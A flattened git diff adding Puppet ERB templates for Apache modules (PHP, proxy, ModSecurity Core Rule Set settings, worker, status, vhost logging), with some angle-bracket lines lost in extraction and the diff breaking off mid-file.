a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/php.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/php.conf.erb new file mode 100644 index 000000000..9e684fe6d --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/php.conf.erb @@ -0,0 +1,23 @@ +# +# PHP is an HTML-embedded scripting language which attempts to make it +# easy for developers to write dynamically generated webpages. +# + +# +# Cause the PHP interpreter to handle files with a .php extension. +# +)$"> + SetHandler application/x-httpd-php + + +# +# Add index.php to the list of files that will be served as directory +# indexes. +# +DirectoryIndex index.php + +# +# Uncomment the following line to allow PHP to pretty-print .phps +# files as PHP source code: +# +#AddType application/x-httpd-php-source .phps diff --git a/modules/services/unix/http/apache/templates/mod/php5.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/php5.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/php5.conf.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/php5.conf.erb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/prefork.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/prefork.conf.erb new file mode 100644 index 000000000..aabfdf7b2 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/prefork.conf.erb @@ -0,0 +1,8 @@ + + StartServers <%= @startservers %> + MinSpareServers <%= @minspareservers %> + MaxSpareServers <%= @maxspareservers %> + ServerLimit <%= @serverlimit %> + MaxClients <%= @maxclients %> + MaxRequestsPerChild <%= @maxrequestsperchild %> + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/proxy.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/proxy.conf.erb new file mode 100644 index 000000000..d023c14e5 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/proxy.conf.erb @@ -0,0 +1,27 @@ +# +# Proxy Server directives. Uncomment the following lines to +# enable the proxy server: +# + + # Do not enable proxying with ProxyRequests until you have secured your + # server. Open proxy servers are dangerous both to your network and to the + # Internet at large. + ProxyRequests <%= @proxy_requests %> + + <% if @proxy_requests != 'Off' or ( @allow_from and ! @allow_from.empty? ) -%> + + <%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> + Require ip <%= Array(@allow_from).join(" ") %> + <%- else -%> + Order deny,allow + Deny from all + Allow from <%= Array(@allow_from).join(" ") %> + <%- end -%> + + <% end -%> + + # Enable/disable the handling of HTTP/1.1 "Via:" headers. + # ("Full" adds the server version; "Block" removes all outgoing Via: headers) + # Set to one of: Off | On | Full | Block + ProxyVia <%= @proxy_via %> + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/proxy_balancer.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/proxy_balancer.conf.erb new file mode 100644 index 000000000..c1f37be8e --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/proxy_balancer.conf.erb @@ -0,0 +1,10 @@ +> + SetHandler balancer-manager + <%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> + Require ip <%= Array(@allow_from).join(" ") %> + <%- else -%> + Order deny,allow + Deny from all + Allow from <%= Array(@allow_from).join(" ") %> + <%- end -%> + diff --git a/modules/services/unix/http/apache/templates/mod/proxy_html.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/proxy_html.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/proxy_html.conf.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/proxy_html.conf.erb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/remoteip.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/remoteip.conf.erb new file mode 100644 index 000000000..e10ebb51c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/remoteip.conf.erb @@ -0,0 +1,23 @@ +# Declare the header field which should be parsed for useragent IP addresses +RemoteIPHeader <%= @header %> + +<%- if @proxy_ips -%> +# Declare client intranet IP addresses trusted to present +# the RemoteIPHeader value +<%- [@proxy_ips].flatten.each do |proxy| -%> +RemoteIPInternalProxy <%= proxy %> +<%- end -%> +<%- end -%> + +<%- if @proxies_header -%> +# Declare the header field which will record all intermediate IP addresses +RemoteIPProxiesHeader <%= @proxies_header %> +<%- end -%> + +<%- if @trusted_proxy_ips -%> +# Declare client intranet IP addresses trusted to present +# the RemoteIPHeader value + <%- [@trusted_proxy_ips].flatten.each do |proxy| -%> +RemoteIPTrustedProxy <%= proxy %> + <%- end -%> +<%- end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/reqtimeout.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/reqtimeout.conf.erb new file mode 100644 index 000000000..6ffc5ffe2 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/reqtimeout.conf.erb @@ -0,0 +1,3 @@ +<% Array(@timeouts).each do |timeout| -%> +RequestReadTimeout <%= timeout %> +<%- end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/rpaf.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/rpaf.conf.erb new file mode 100644 index 000000000..56e2398b5 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/rpaf.conf.erb @@ -0,0 +1,15 @@ +# Enable reverse proxy add forward +RPAFenable On +# RPAFsethostname will, when enabled, take the incoming X-Host header and +# update the virtual host settings accordingly. This allows to have the same +# hostnames as in the "real" configuration for the forwarding proxy. +<% if @sethostname -%> +RPAFsethostname On +<% else -%> +RPAFsethostname Off +<% end -%> +# Which IPs are forwarding requests to us +RPAFproxy_ips <%= Array(@proxy_ips).join(" ") %> +# Setting RPAFheader allows you to change the header name to parse from the +# default X-Forwarded-For to something of your choice. +RPAFheader <%= @header %> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/security.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/security.conf.erb new file mode 100644 index 000000000..638332e52 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/security.conf.erb @@ -0,0 +1,80 @@ + + # Default recommended configuration + SecRuleEngine <%= @modsec_secruleengine %> + SecRequestBodyAccess On + SecRule REQUEST_HEADERS:Content-Type "text/xml" \ + "id:'200000',phase:1,t:none,t:lowercase,pass,nolog,ctl:requestBodyProcessor=XML" + SecRequestBodyLimit <%= @secrequestbodylimit %> + SecRequestBodyNoFilesLimit <%= @secrequestbodynofileslimit %> + SecRequestBodyInMemoryLimit <%= @secrequestbodyinmemorylimit %> + SecRequestBodyLimitAction Reject + SecRule REQBODY_ERROR "!@eq 0" \ + "id:'200001', phase:2,t:none,log,deny,status:400,msg:'Failed to parse request body.',logdata:'%{reqbody_error_msg}',severity:2" + SecRule MULTIPART_STRICT_ERROR "!@eq 0" \ + "id:'200002',phase:2,t:none,log,deny,status:44,msg:'Multipart request body failed strict validation: \ + PE %{REQBODY_PROCESSOR_ERROR}, \ + BQ %{MULTIPART_BOUNDARY_QUOTED}, \ + BW %{MULTIPART_BOUNDARY_WHITESPACE}, \ + DB %{MULTIPART_DATA_BEFORE}, \ + DA %{MULTIPART_DATA_AFTER}, \ + HF %{MULTIPART_HEADER_FOLDING}, \ + LF %{MULTIPART_LF_LINE}, \ + SM %{MULTIPART_MISSING_SEMICOLON}, \ + IQ %{MULTIPART_INVALID_QUOTING}, \ + IP %{MULTIPART_INVALID_PART}, \ + IH %{MULTIPART_INVALID_HEADER_FOLDING}, \ + FL %{MULTIPART_FILE_LIMIT_EXCEEDED}'" + + SecRule &REQUEST_HEADERS:Proxy "@gt 0" "id:1000005,log,deny,msg:'httpoxy denied'" + + + SecRule MULTIPART_UNMATCHED_BOUNDARY "!@eq 0" \ + "id:'200003',phase:2,t:none,log,deny,status:44,msg:'Multipart parser detected a possible unmatched boundary.'" + + SecPcreMatchLimit <%= @secpcrematchlimit %> + SecPcreMatchLimitRecursion <%= @secpcrematchlimitrecursion %> + + SecRule TX:/^MSC_/ "!@streq 0" \ + "id:'200004',phase:2,t:none,deny,msg:'ModSecurity internal error flagged: %{MATCHED_VAR_NAME}'" + + SecResponseBodyAccess Off + SecResponseBodyMimeType text/plain text/html text/xml + SecResponseBodyLimit 524288 + SecResponseBodyLimitAction ProcessPartial + SecDebugLogLevel 0 + SecAuditEngine RelevantOnly + SecAuditLogRelevantStatus "<%= @audit_log_relevant_status %>" + SecAuditLogParts <%= @audit_log_parts %> + SecAuditLogType Serial + SecArgumentSeparator & + SecCookieFormat 0 +<%- if scope.lookupvar('::osfamily') == 'Debian' -%> + SecDebugLog <%= @logroot %>/modsec_debug.log + SecAuditLog <%= @logroot %>/modsec_audit.log + SecTmpDir /var/cache/modsecurity + SecDataDir /var/cache/modsecurity + SecUploadDir /var/cache/modsecurity +<%- elsif scope.lookupvar('::osfamily') == 'Suse' -%> + SecDebugLog /var/log/apache2/modsec_debug.log + SecAuditLog /var/log/apache2/modsec_audit.log + SecTmpDir /var/lib/mod_security + SecDataDir /var/lib/mod_security + SecUploadDir /var/lib/mod_security +<% else -%> + SecDebugLog <%= @logroot %>/modsec_debug.log + SecAuditLog <%= @logroot %>/modsec_audit.log + SecTmpDir /var/lib/mod_security + SecDataDir /var/lib/mod_security + SecUploadDir /var/lib/mod_security +<% end -%> + SecUploadKeepFiles Off + + # ModSecurity Core Rules Set configuration +<%- if scope.function_versioncmp([scope.lookupvar('::apache::apache_version'), '2.4']) >= 0 -%> + IncludeOptional <%= @modsec_dir %>/*.conf + IncludeOptional <%= @modsec_dir %>/activated_rules/*.conf +<%- else -%> + Include <%= @modsec_dir %>/*.conf + Include <%= @modsec_dir %>/activated_rules/*.conf +<%- end -%> + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/security_crs.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/security_crs.conf.erb new file mode 100644 index 000000000..641daac3e --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/security_crs.conf.erb @@ -0,0 +1,436 @@ +# --------------------------------------------------------------- +# Core ModSecurity Rule Set ver.2.2.9 +# Copyright (C) 2006-2012 Trustwave All rights reserved. +# +# The OWASP ModSecurity Core Rule Set is distributed under +# Apache Software License (ASL) version 2 +# Please see the enclosed LICENCE file for full details. +# --------------------------------------------------------------- + + +# +# -- [[ Recommended Base Configuration ]] ------------------------------------------------- +# +# The configuration directives/settings in this file are used to control +# the OWASP ModSecurity CRS. These settings do **NOT** configure the main +# ModSecurity settings such as: +# +# - SecRuleEngine +# - SecRequestBodyAccess +# - SecAuditEngine +# - SecDebugLog +# +# You should use the modsecurity.conf-recommended file that comes with the +# ModSecurity source code archive. +# +# Ref: https://github.com/SpiderLabs/ModSecurity/blob/master/modsecurity.conf-recommended +# + + +# +# -- [[ Rule Version ]] ------------------------------------------------------------------- +# +# Rule version data is added to the "Producer" line of Section H of the Audit log: +# +# - Producer: ModSecurity for Apache/2.7.0-rc1 (http://www.modsecurity.org/); OWASP_CRS/2.2.4. +# +# Ref: https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#wiki-SecComponentSignature +# +SecComponentSignature "OWASP_CRS/2.2.9" + + +# +# -- [[ Modes of Operation: Self-Contained vs. Collaborative Detection ]] ----------------- +# +# Each detection rule uses the "block" action which will inherit the SecDefaultAction +# specified below. Your settings here will determine which mode of operation you use. +# +# -- [[ Self-Contained Mode ]] -- +# Rules inherit the "deny" disruptive action. The first rule that matches will block. +# +# -- [[ Collaborative Detection Mode ]] -- +# This is a "delayed blocking" mode of operation where each matching rule will inherit +# the "pass" action and will only contribute to anomaly scores. Transactional blocking +# can be applied +# +# -- [[ Alert Logging Control ]] -- +# You have three options - +# +# - To log to both the Apache error_log and ModSecurity audit_log file use: "log" +# - To log *only* to the ModSecurity audit_log file use: "nolog,auditlog" +# - To log *only* to the Apache error_log file use: "log,noauditlog" +# +# Ref: http://blog.spiderlabs.com/2010/11/advanced-topic-of-the-week-traditional-vs-anomaly-scoring-detection-modes.html +# Ref: https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#wiki-SecDefaultAction +# +SecDefaultAction "phase:1,<%= @_secdefaultaction -%>" +SecDefaultAction "phase:2,<%= @_secdefaultaction -%>" + +# +# -- [[ Collaborative Detection Severity Levels ]] ---------------------------------------- +# +# These are the default scoring points for each severity level. You may +# adjust these to you liking. These settings will be used in macro expansion +# in the rules to increment the anomaly scores when rules match. +# +# These are the default Severity ratings (with anomaly scores) of the individual rules - +# +# - 2: Critical - Anomaly Score of 5. +# Is the highest severity level possible without correlation. It is +# normally generated by the web attack rules (40 level files). +# - 3: Error - Anomaly Score of 4. +# Is generated mostly from outbound leakage rules (50 level files). +# - 4: Warning - Anomaly Score of 3. +# Is generated by malicious client rules (35 level files). +# - 5: Notice - Anomaly Score of 2. +# Is generated by the Protocol policy and anomaly files. +# +SecAction \ + "id:'900001', \ + phase:1, \ + t:none, \ + setvar:tx.critical_anomaly_score=<%= @critical_anomaly_score -%>, \ + setvar:tx.error_anomaly_score=<%= @error_anomaly_score -%>, \ + setvar:tx.warning_anomaly_score=<%= @warning_anomaly_score -%>, \ + setvar:tx.notice_anomaly_score=<%= @notice_anomaly_score -%>, \ + nolog, \ + pass" + + +# +# -- [[ Collaborative Detection Scoring Initialization and Threshold Levels ]] ------------------------------ +# +# These variables are used in macro expansion in the 49 inbound blocking and 59 +# outbound blocking files. +# +# **MUST HAVE** ModSecurity v2.5.12 or higher to use macro expansion in numeric +# operators. If you have an earlier version, edit the 49/59 files directly to +# set the appropriate anomaly score levels. +# +# You should set the score level (rule 900003) to the proper threshold you +# would prefer. If set to "5" it will work similarly to previous Mod CRS rules +# and will create an event in the error_log file if there are any rules that +# match. If you would like to lessen the number of events generated in the +# error_log file, you should increase the anomaly score threshold to something +# like "20". This would only generate an event in the error_log file if there +# are multiple lower severity rule matches or if any 1 higher severity item matches. +# +SecAction \ + "id:'900002', \ + phase:1, \ + t:none, \ + setvar:tx.anomaly_score=0, \ + setvar:tx.sql_injection_score=0, \ + setvar:tx.xss_score=0, \ + setvar:tx.inbound_anomaly_score=0, \ + setvar:tx.outbound_anomaly_score=0, \ + nolog, \ + pass" + + +SecAction \ + "id:'900003', \ + phase:1, \ + t:none, \ + setvar:tx.inbound_anomaly_score_level=<%= @inbound_anomaly_threshold -%>, \ + setvar:tx.outbound_anomaly_score_level=<%= @outbound_anomaly_threshold -%>, \ + nolog, \ + pass" + + +# +# -- [[ Collaborative Detection Blocking ]] ----------------------------------------------- +# +# This is a collaborative detection mode where each rule will increment an overall +# anomaly score for the transaction. The scores are then evaluated in the following files: +# +# Inbound anomaly score - checked in the modsecurity_crs_49_inbound_blocking.conf file +# Outbound anomaly score - checked in the modsecurity_crs_59_outbound_blocking.conf file +# +# If you want to use anomaly scoring mode, then uncomment this line. +# +SecAction \ + "id:'900004', \ + phase:1, \ + t:none, \ + setvar:tx.anomaly_score_blocking=<%= @anomaly_score_blocking -%>, \ + nolog, \ + pass" + + +# +# -- [[ GeoIP Database ]] ----------------------------------------------------------------- +# +# There are some rulesets that need to inspect the GEO data of the REMOTE_ADDR data. +# +# You must first download the MaxMind GeoIP Lite City DB - +# +# http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz +# +# You then need to define the proper path for the SecGeoLookupDb directive +# +# Ref: http://blog.spiderlabs.com/2010/10/detecting-malice-with-modsecurity-geolocation-data.html +# Ref: http://blog.spiderlabs.com/2010/11/detecting-malice-with-modsecurity-ip-forensics.html +# +#SecGeoLookupDb /opt/modsecurity/lib/GeoLiteCity.dat + +# +# -- [[ Regression Testing Mode ]] -------------------------------------------------------- +# +# If you are going to run the regression testing mode, you should uncomment the +# following rule. It will enable DetectionOnly mode for the SecRuleEngine and +# will enable Response Header tagging so that the client testing script can see +# which rule IDs have matched. +# +# You must specify the your source IP address where you will be running the tests +# from. +# +#SecRule REMOTE_ADDR "@ipMatch 192.168.1.100" \ + "id:'900005', \ + phase:1, \ + t:none, \ + ctl:ruleEngine=DetectionOnly, \ + setvar:tx.regression_testing=1, \ + nolog, \ + pass" + + +# +# -- [[ HTTP Policy Settings ]] ---------------------------------------------------------- +# +# Set the following policy settings here and they will be propagated to the 23 rules +# file (modsecurity_common_23_request_limits.conf) by using macro expansion. +# If you run into false positives, you can adjust the settings here. +# +# Only the max number of args is uncommented by default as there are a high rate +# of false positives. Uncomment the items you wish to set. +# +# +# -- Maximum number of arguments in request limited +SecAction \ + "id:'900006', \ + phase:1, \ + t:none, \ + setvar:tx.max_num_args=<%= @secrequestmaxnumargs %>, \ + nolog, \ + pass" + +# +# -- Limit argument name length +#SecAction \ + "id:'900007', \ + phase:1, \ + t:none, \ + setvar:tx.arg_name_length=100, \ + nolog, \ + pass" + +# +# -- Limit value name length +#SecAction \ + "id:'900008', \ + phase:1, \ + t:none, \ + setvar:tx.arg_length=400, \ + nolog, \ + pass" + +# +# -- Limit arguments total length +#SecAction \ + "id:'900009', \ + phase:1, \ + t:none, \ + setvar:tx.total_arg_length=64000, \ + nolog, \ + pass" + +# +# -- Individual file size is limited +#SecAction \ + "id:'900010', \ + phase:1, \ + t:none, \ + setvar:tx.max_file_size=1048576, \ + nolog, \ + pass" + +# +# -- Combined file size is limited +#SecAction \ + "id:'900011', \ + phase:1, \ + t:none, \ + setvar:tx.combined_file_sizes=1048576, \ + nolog, \ + pass" + + +# +# Set the following policy settings here and they will be propagated to the 30 rules +# file (modsecurity_crs_30_http_policy.conf) by using macro expansion. +# If you run into false positves, you can adjust the settings here. +# +SecAction \ + "id:'900012', \ + phase:1, \ + t:none, \ + setvar:'tx.allowed_methods=<%= @allowed_methods -%>', \ + setvar:'tx.allowed_request_content_type=<%= @content_types -%>', \ + setvar:'tx.allowed_http_versions=HTTP/0.9 HTTP/1.0 HTTP/1.1', \ + setvar:'tx.restricted_extensions=<%= @restricted_extensions -%>', \ + setvar:'tx.restricted_headers=<%= @restricted_headers -%>', \ + nolog, \ + pass" + + +# +# -- [[ Content Security Policy (CSP) Settings ]] ----------------------------------------- +# +# The purpose of these settings is to send CSP response headers to +# Mozilla FireFox users so that you can enforce how dynamic content +# is used. CSP usage helps to prevent XSS attacks against your users. +# +# Reference Link: +# +# https://developer.mozilla.org/en/Security/CSP +# +# Uncomment this SecAction line if you want use CSP enforcement. +# You need to set the appropriate directives and settings for your site/domain and +# and activate the CSP file in the experimental_rules directory. +# +# Ref: http://blog.spiderlabs.com/2011/04/modsecurity-advanced-topic-of-the-week-integrating-content-security-policy-csp.html +# +#SecAction \ + "id:'900013', \ + phase:1, \ + t:none, \ + setvar:tx.csp_report_only=1, \ + setvar:tx.csp_report_uri=/csp_violation_report, \ + setenv:'csp_policy=allow \'self\'; img-src *.yoursite.com; media-src *.yoursite.com; style-src *.yoursite.com; frame-ancestors *.yoursite.com; script-src *.yoursite.com; report-uri %{tx.csp_report_uri}', \ + nolog, \ + pass" + + +# +# -- [[ Brute Force Protection ]] --------------------------------------------------------- +# +# If you are using the Brute Force Protection rule set, then uncomment the following +# lines and set the following variables: +# - Protected URLs: resources to protect (e.g. login pages) - set to your login page +# - Burst Time Slice Interval: time interval window to monitor for bursts +# - Request Threshold: request # threshold to trigger a burst +# - Block Period: temporary block timeout +# +#SecAction \ + "id:'900014', \ + phase:1, \ + t:none, \ + setvar:'tx.brute_force_protected_urls=#/login.jsp# #/partner_login.php#', \ + setvar:'tx.brute_force_burst_time_slice=60', \ + setvar:'tx.brute_force_counter_threshold=10', \ + setvar:'tx.brute_force_block_timeout=300', \ + nolog, \ + pass" + + +# +# -- [[ DoS Protection ]] ---------------------------------------------------------------- +# +# If you are using the DoS Protection rule set, then uncomment the following +# lines and set the following variables: +# - Burst Time Slice Interval: time interval window to monitor for bursts +# - Request Threshold: request # threshold to trigger a burst +# - Block Period: temporary block timeout +# +SecAction \ + "id:'900015', \ + phase:1, \ + t:none, \ + setvar:'tx.dos_burst_time_slice=60', \ + setvar:'tx.dos_counter_threshold=100', \ + setvar:'tx.dos_block_timeout=600', \ + nolog, \ + pass" + + +# +# -- [[ Check UTF enconding ]] ----------------------------------------------------------- +# +# We only want to apply this check if UTF-8 encoding is actually used by the site, otherwise +# it will result in false positives. +# +# Uncomment this line if your site uses UTF8 encoding +#SecAction \ + "id:'900016', \ + phase:1, \ + t:none, \ + setvar:tx.crs_validate_utf8_encoding=1, \ + nolog, \ + pass" + + +# +# -- [[ Enable XML Body Parsing ]] ------------------------------------------------------- +# +# The rules in this file will trigger the XML parser upon an XML request +# +# Initiate XML Processor in case of xml content-type +# +SecRule REQUEST_HEADERS:Content-Type "text/xml" \ + "id:'900017', \ + phase:1, \ + t:none,t:lowercase, \ + nolog, \ + pass, \ + chain" + SecRule REQBODY_PROCESSOR "!@streq XML" \ + "ctl:requestBodyProcessor=XML" + + +# +# -- [[ Global and IP Collections ]] ----------------------------------------------------- +# +# Create both Global and IP collections for rules to use +# There are some CRS rules that assume that these two collections +# have already been initiated. +# +SecRule REQUEST_HEADERS:User-Agent "^(.*)$" \ + "id:'900018', \ + phase:1, \ + t:none,t:sha1,t:hexEncode, \ + setvar:tx.ua_hash=%{matched_var}, \ + nolog, \ + pass" + + +SecRule REQUEST_HEADERS:x-forwarded-for "^\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\b" \ + "id:'900019', \ + phase:1, \ + t:none, \ + capture, \ + setvar:tx.real_ip=%{tx.1}, \ + nolog, \ + pass" + + +SecRule &TX:REAL_IP "!@eq 0" \ + "id:'900020', \ + phase:1, \ + t:none, \ + initcol:global=global, \ + initcol:ip=%{tx.real_ip}_%{tx.ua_hash}, \ + nolog, \ + pass" + + +SecRule &TX:REAL_IP "@eq 0" \ + "id:'900021', \ + phase:1, \ + t:none, \ + initcol:global=global, \ + initcol:ip=%{remote_addr}_%{tx.ua_hash}, \ + setvar:tx.real_ip=%{remote_addr}, \ + nolog, \ + pass" + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/setenvif.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/setenvif.conf.erb new file mode 100644 index 000000000..d31c79fe5 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/setenvif.conf.erb @@ -0,0 +1,34 @@ +# +# The following directives modify normal HTTP response behavior to +# handle known problems with browser implementations. +# +BrowserMatch "Mozilla/2" nokeepalive +BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0 +BrowserMatch "RealPlayer 4\.0" force-response-1.0 +BrowserMatch "Java/1\.0" force-response-1.0 +BrowserMatch "JDK/1\.0" force-response-1.0 + +# +# The following directive disables redirects on non-GET requests for +# a directory that does not include the trailing slash. This fixes a +# problem with Microsoft WebFolders which does not appropriately handle +# redirects for folders with DAV methods. +# Same deal with Apple's DAV filesystem and Gnome VFS support for DAV. +# +BrowserMatch "Microsoft Data Access Internet Publishing Provider" redirect-carefully +BrowserMatch "MS FrontPage" redirect-carefully +BrowserMatch "^WebDrive" redirect-carefully +BrowserMatch "^WebDAVFS/1.[0123]" redirect-carefully +BrowserMatch "^gnome-vfs/1.0" redirect-carefully +BrowserMatch "^gvfs/1" redirect-carefully +BrowserMatch "^XML Spy" redirect-carefully +BrowserMatch "^Dreamweaver-WebDAV-SCM1" redirect-carefully +BrowserMatch " Konqueror/4" redirect-carefully + + + BrowserMatch "MSIE [2-6]" \ + nokeepalive ssl-unclean-shutdown \ + downgrade-1.0 force-response-1.0 + # MSIE 7 and newer should be able to use keepalive + BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown + diff --git a/modules/services/unix/http/apache/templates/mod/ssl.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/ssl.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/ssl.conf.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/ssl.conf.erb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/status.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/status.conf.erb new file mode 100644 index 000000000..6a6b3daa2 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/status.conf.erb @@ -0,0 +1,16 @@ +> + SetHandler server-status + <%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> + Require ip <%= Array(@allow_from).join(" ") %> + <%- else -%> + Order deny,allow + Deny from all + Allow from <%= Array(@allow_from).join(" ") %> + <%- end -%> + +ExtendedStatus <%= @extended_status %> + + + # Show Proxy LoadBalancer status in mod_status + ProxyStatus On + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/suphp.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/suphp.conf.erb new file mode 100644 index 000000000..95fbf97c7 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/suphp.conf.erb @@ -0,0 +1,19 @@ + + AddType application/x-httpd-suphp .php .php3 .php4 .php5 .phtml + suPHP_AddHandler application/x-httpd-suphp + + + suPHP_Engine on + + + # By default, disable suPHP for debian packaged web applications as files + # are owned by root and cannot be executed by suPHP because of min_uid. + + suPHP_Engine off + + +# # Use a specific php config file (a dir which contains a php.ini file) +# suPHP_ConfigPath /etc/php4/cgi/suphp/ +# # Tells mod_suphp NOT to handle requests with the type . +# suPHP_RemoveHandler + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/unixd_fcgid.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/unixd_fcgid.conf.erb new file mode 100644 index 000000000..a82bc30df --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/unixd_fcgid.conf.erb @@ -0,0 +1,5 @@ + +<% @options.sort_by {|key, value| key}.each do |key, value| -%> + <%= key %> <%= value %> +<% end -%> + diff --git a/modules/services/unix/http/apache/templates/mod/userdir.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/userdir.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/userdir.conf.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/userdir.conf.erb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/worker.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/worker.conf.erb new file mode 100644 index 000000000..8ad6451c7 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/worker.conf.erb @@ -0,0 +1,11 @@ + + ServerLimit <%= @serverlimit %> + StartServers <%= @startservers %> + ThreadLimit <%= @threadlimit %> + MaxClients <%= @maxclients %> + MinSpareThreads <%= @minsparethreads %> + MaxSpareThreads <%= @maxsparethreads %> + ThreadsPerChild <%= @threadsperchild %> + MaxRequestsPerChild <%= @maxrequestsperchild %> + ListenBacklog <%= @listenbacklog %> + diff --git a/modules/services/unix/http/apache/templates/mod/wsgi.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/wsgi.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/wsgi.conf.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/wsgi.conf.erb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/namevirtualhost.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/namevirtualhost.erb new file mode 100644 index 000000000..cf767680f --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/namevirtualhost.erb @@ -0,0 +1,8 @@ +<%# NameVirtualHost should always be one of: + - * + - *: + - _default_: + - + - : +-%> +NameVirtualHost <%= @addr_port %> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/ports_header.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/ports_header.erb new file mode 100644 index 000000000..4908db4ad --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/ports_header.erb @@ -0,0 +1,5 @@ +# ************************************ +# Listen & NameVirtualHost resources in module puppetlabs-apache +# Managed by Puppet +# ************************************ + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_access_log.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_access_log.erb new file mode 100644 index 000000000..894daa7ce --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_access_log.erb @@ -0,0 +1,21 @@ +<% @_access_logs.each do |log| -%> +<% env ||= "env=#{log['env']}" if log['env'] -%> +<% env ||= '' -%> +<% format ||= "\"#{log['format']}\"" if log['format'] -%> +<% format ||= 'combined' -%> +<% if log['file'] -%> +<% if log['file'].chars.first == '/' -%> +<% destination = "#{log['file']}" -%> +<% else -%> +<% destination = "#{@logroot}/#{log['file']}" -%> +<% end -%> +<% elsif log['syslog'] -%> +<% destination = log['syslog'] -%> +<% elsif log['pipe'] -%> +<% destination = log['pipe'] -%> +<% else -%> +<% destination ||= "#{@logroot}/#{@name}_access_ssl.log" if @ssl -%> +<% destination ||= "#{@logroot}/#{@name}_access.log" -%> +<% end -%> + CustomLog "<%= destination %>" <%= format %> <%= env %> +<% end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_action.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/vhost/_action.erb new file mode 100644 index 000000000..8a0229059 --- /dev/null +++ 